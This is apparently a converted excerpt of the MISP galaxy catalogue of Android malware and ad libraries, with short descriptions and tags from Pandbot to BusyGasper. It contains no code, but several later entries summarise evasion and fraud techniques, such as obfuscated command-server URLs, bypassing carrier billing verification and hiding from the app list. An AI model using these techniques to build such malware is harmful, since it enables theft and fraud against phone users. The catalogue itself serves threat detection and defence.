Pandbot is a Trojan horse for Android devices that may download more files onto the device.

The tag is: misplaced-android=“Pandbot”

Table 334. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Pdaspy

Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.
Penetho

Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.

The tag is: misp-galaxy:android="Penetho"

Perkel

Perkel is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: misp-galaxy:android="Perkel"

Phimdropper

Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages.

The tag is: misp-galaxy:android="Phimdropper"

Phospy

Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device.
Piddialer

Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device.

The tag is: *misp-galaxy:android*="Piddialer"

Pikspam

Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device.

The tag is: *misp-galaxy:android*="Pikspam"

Pincer

Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device.

The tag is: *misp-galaxy:android*="Pincer"

Pirator

Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.
Pjapps

Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.

The tag is: misp-galaxy:android="Pjapps"

Pjapps.B

Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Pjapps.B"

Pletora

Pletora is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.

The tag is: misp-galaxy:android="Pletora"

Poisoncake

Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.

The tag is: misp-galaxy:android="Poisoncake"
Pontiflex

Pontiflex is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Pontiflex"`

Positmob

Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.

The tag is: `misp-galaxy:android="Positmob"`

Premiumtext

Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.

The tag is: `misp-galaxy:android="Premiumtext"`

Pris

Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.

The tag is: `misp-galaxy:android="Pris"`
Qdplugin

Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Qdplugin"

Qicsomos

Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: misp-galaxy:android="Qicsomos"

Qitmo

Qitmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Qitmo"

Rabbhome

Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Rabbhome"
Repane

Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.

The tag is: `misp-galaxy:android="Repane"`

Table 356. Table References

Links


Reputation.1

Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: `misp-galaxy:android="Reputation.1"`

Table 357. Table References

Links


Reputation.2

Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: `misp-galaxy:android="Reputation.2"`

Table 358. Table References

Links


Reputation.3

Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: `misp-galaxy:android="Reputation.3"`

Table 359. Table References

Links

**RevMob**

RevMob is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="RevMob"`

---

**Roidsec**

Roidsec is a Trojan horse for Android devices that steals confidential information.

The tag is: `misp-galaxy:android="Roidsec"`

---

**Rootcager**

Rootcager is a Trojan horse that steals information from Android devices.

The tag is: `misp-galaxy:android="Rootcager"`

---

**Rootnik**

Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.

The tag is: `misp-galaxy:android="Rootnik"`

View relationships graph:

Rootnik has relationships with:

- similar: misp-galaxy:malpedia="Rootnik" with estimative-language:likelihood-probability="likely"

---
Rufraud

Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: `misp-galaxy:android="Rufraud"`

Table 364. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Rusms

Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: `misp-galaxy:android="Rusms"`

Table 365. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Samsapo

Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.

The tag is: `misp-galaxy:android="Samsapo"`

Table 366. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sandorat

Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.

The tag is: `misp-galaxy:android="Sandorat"`

Table 367. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Sberick

Sberick is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Sberick"`

<table>
<thead>
<tr>
<th>Table 368. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Scartibro

Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.

The tag is: `misp-galaxy:android="Scartibro"`

<table>
<thead>
<tr>
<th>Table 369. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Scipiex

Scipiex is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Scipiex"`

<table>
<thead>
<tr>
<th>Table 370. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Selfmite

Selfmite is a worm for Android devices that spreads through SMS messages.

The tag is: `misp-galaxy:android="Selfmite"`

<table>
<thead>
<tr>
<th>Table 371. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
**Selfmite.B**

Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.

The tag is: `misp-galaxy:android="Selfmite.B"`

<table>
<thead>
<tr>
<th>Table 372. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

**SellARing**

SellARing is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="SellARing"`

<table>
<thead>
<tr>
<th>Table 373. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

**SendDroid**

SendDroid is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="SendDroid"`

<table>
<thead>
<tr>
<th>Table 374. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

**Simhosy**

Simhosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Simhosy"`

<table>
<thead>
<tr>
<th>Table 375. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
**Simplocker**

Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: `misp-galaxy:android="Simplocker"`

*Table 376. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Simplocker.B**

Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: `misp-galaxy:android="Simplocker.B"`

*Table 377. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Skullkey**

Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity.

The tag is: `misp-galaxy:android="Skullkey"`

*Table 378. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Smaato**

Smaato is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Smaato"`

*Table 379. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Smbcheck**

Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.

The tag is: *misp-galaxy:android="Smbcheck"*

*Table 380. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Smsblocker**

Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages.

The tag is: *misp-galaxy:android="Smsblocker"*

*Table 381. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Smsbomber**

Smsbomber is a program that can be used to send messages to contacts on the device.

The tag is: *misp-galaxy:android="Smsbomber"*

*Table 382. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Smslink**

Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements.

The tag is: *misp-galaxy:android="Smslink"*

*Table 383. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Smspacem**

Smspacem is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android=*"Smspacem"

**Table 384. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**SMSReplicator**

SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer's choice.

The tag is: *misp-galaxy:android=*"SMSReplicator"

**Table 385. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Smssniffer**

Smssniffer is a Trojan horse that intercepts SMS messages on Android devices.

The tag is: *misp-galaxy:android=*"Smssniffer"

**Table 386. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Smsstealer**

Smsstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android=*"Smsstealer"

**Table 387. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Smstibook
Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.
The tag is: "misp-galaxy:android="Smstibook"

Table 388. Table References
Links

Smszombie
Smszombie is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: "misp-galaxy:android="Smszombie"

Table 389. Table References
Links

Snadapps
Snadapps is a Trojan horse that steals information from Android devices.
The tag is: "misp-galaxy:android="Snadapps"

Table 390. Table References
Links

Sockbot
Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device.
The tag is: "misp-galaxy:android="Sockbot"

Table 391. Table References
Links
Sockrat

Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: `misp-galaxy:android="Sockrat"`

View relationships graph

Sockrat has relationships with:

- similar: `misp-galaxy:rat="Adwind RAT"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:tool="Adwind"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:android="Adwind"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="AdWind"` with estimative-language:likelihood-probability="likely"

Table 392. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sofacy

Sofacy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Sofacy"`

View relationships graph

Sofacy has relationships with:

- similar: `misp-galaxy:tool="GAMEFISH"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:tool="SOURFACE"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:tool="CORESHELL"` with estimative-language:likelihood-probability="likely"

Table 393. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sosceo

Sosceo is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Sosceo"`
Spitmo

Spitmo is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Spitmo"

Spitmo.B

Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Spitmo.B"

Spyagent

Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: misp-galaxy:android="Spyagent"

Spybubble

Spybubble is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: misp-galaxy:android="Spybubble"
Spydafon

Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.

The tag is: *misp-galaxy:android=*"Spydafon"

Spymple

Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android=*"Spymple"

Spyoo

Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.

The tag is: *misp-galaxy:android=*"Spyoo"

Spytekcell

Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android=*"Spytekcell"
Spytrack

Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.

The tag is: `misp-galaxy:android="Spytrack"`

Table 403. Table References

Links


Spywaller

Spywaller is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Spywaller"`

Table 404. Table References

Links


Stealthgenie

Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Stealthgenie"`

Table 405. Table References

Links


Steek

Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.

The tag is: `misp-galaxy:android="Steek"`

Table 406. Table References
Stels

Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: `misp-galaxy:android="Stels"`

Table 407. Table References

Stiniter

Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: `misp-galaxy:android="Stiniter"`

Table 408. Table References

Sumzand

Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: `misp-galaxy:android="Sumzand"`

Table 409. Table References

Sysecsms

Sysecsms is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Sysecsms"`

Table 410. Table References
**Tanci**

Tanci is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tanci"*

**Table 411. Table References**

Links


**Tapjoy**

Tapjoy is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tapjoy"*

**Table 412. Table References**

Links


**Tapsnake**

Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone’s location and posts it to a remote web service.

The tag is: *misp-galaxy:android="Tapsnake"*

**Table 413. Table References**

Links


**Tascudap**

Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks.

The tag is: *misp-galaxy:android="Tascudap"*

**Table 414. Table References**

Links

Teelog

Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: `misp-galaxy:android="Teelog"`

Table 415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Temai

Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device.

The tag is: `misp-galaxy:android="Temai"`

Table 416. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Tetus

Tetus is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Tetus"`

Table 417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Tgpush

Tgpush is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Tgpush"`

Table 418. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Tigerbot**

Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: `misp-galaxy:android="Tigerbot"`

Table 419. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Tonclank**

Tonclank is a Trojan horse that steals information and may open a back door on Android devices.

The tag is: `misp-galaxy:android="Tonclank"`

Table 420. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Trogle**

Trogle is a worm for Android devices that may steal information from the compromised device.

The tag is: `misp-galaxy:android="Trogle"`

Table 421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Twikabot**

Twikabot is a Trojan horse for Android devices that attempts to steal information.

The tag is: `misp-galaxy:android="Twikabot"`

Table 422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Uapush**

Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device.
Umeng

Umeng is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Umeng"

Table 424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Updtbot

Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device.

The tag is: misp-galaxy:android="Updtbot"

Table 425. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Upush

Upush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Upush"

Table 426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Uracto

Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device.

The tag is: misp-galaxy:android="Uracto"

Table 427. Table References
Uranico

Uranico is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Uranico"

Table 428. Table References

Usbcleaver

Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Usbcleaver"

Table 429. Table References

Utchi

Utchi is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Utchi"

Table 430. Table References

Uten

Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges.

The tag is: misp-galaxy:android="Uten"

Table 431. Table References
Uupay

Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware.

The tag is: misp-galaxy:android="Uupay"

Table 432. Table References

Links

Uxipp

Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: misp-galaxy:android="Uxipp"

Table 433. Table References

Links

Vdloader

Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information.

The tag is: misp-galaxy:android="Vdloader"

Table 434. Table References

Links

VDopia

VDopia is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="VDopia"

Table 435. Table References

Links
**Virusshield**

Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality.

The tag is: `misp-galaxy:android="Virusshield"`

**VServ**

VServ is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="VServ"`

**Walkinwat**

Walkinwat is a Trojan horse that steals information from the compromised device.

The tag is: `misp-galaxy:android="Walkinwat"`

**Waps**

Waps is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Waps"`
### Waren

Waren is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Waren"`

#### Table 440. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Windseeker

Windseeker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Windseeker"`

#### Table 441. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Wiyun

Wiyun is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Wiyun"`

#### Table 442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Wooboo

Wooboo is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Wooboo"`

#### Table 443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Wqmobile

Wqmobile is an advertisement library that is bundled with certain Android applications.
YahooAds

YahooAds is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="YahooAds"`

Yatoot

Yatoot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Yatoot"`

Yinhan

Yinhan is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Yinhan"`

Youmi

Youmi is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Youmi"`
YuMe

YuMe is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="YuMe"`

Table 449. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Zeahache

Zeahache is a Trojan horse that elevates privileges on the compromised device.

The tag is: `misp-galaxy:android="Zeahache"`

Table 450. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

ZertSecurity

ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker.

The tag is: `misp-galaxy:android="ZertSecurity"`

Table 451. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

ZestAdz

ZestAdz is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="ZestAdz"`

Table 452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Zeusmitmo**

Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Zeusmitmo"*

Table 453. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**SLocker**

The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.

The tag is: *misp-galaxy:android="SLocker"*

SLocker is also known as:

- SMSLocker

Table 454. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Loapi**

A malware strain known as Loapi will damage phones if users don’t remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone's components, which will make the battery bulge, deform the phone's cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.

The tag is: *misp-galaxy:android="Loapi"*

Table 455. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: misp-galaxy:android="Podec"

Table 456. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/sms-trojan-bypasses-captcha/69169//">https://securelist.com/sms-trojan-bypasses-captcha/69169//</a></td>
</tr>
</tbody>
</table>

Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device's app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: misp-galaxy:android="Chamois"

Table 457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

IcicleGum

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: misp-galaxy:android="IcicleGum"

View relationships graph

IcicleGum has relationships with:
BreadSMS

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user's consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: misp-galaxy:android="BreadSMS"

JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network's WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

The tag is: misp-galaxy:android="JamSkunk"

Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017.
Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.

The tag is: *misp-galaxy:android="Expensive Wall"*

**Table 461. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/">https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/</a></td>
</tr>
</tbody>
</table>

**BambaPurple**

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.

The tag is: *misp-galaxy:android="BambaPurple"*

**Table 462. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**KoreFrog**

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: *misp-galaxy:android="KoreFrog"*

**Table 463. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Gaiaphish**

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user's privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)

The tag is: *misp-galaxy:android="Gaiaphish"*

**RedDrop**

RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.

The tag is: *misp-galaxy:android="RedDrop"*

**HenBox**

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HenBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi's operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a
myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: misp-galaxy:android="HenBox"

MysteryBot

Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.

The tag is: misp-galaxy:android="MysteryBot"

Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.
The tag is: *misp-galaxy:android*="Skygofree"

View relationships graph

Skygofree has relationships with:

- similar: *misp-galaxy:malpedia*="Skygofree" with *estimative-language:likelihood-probability*="likely"

### Table 468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

**BusyGasper**

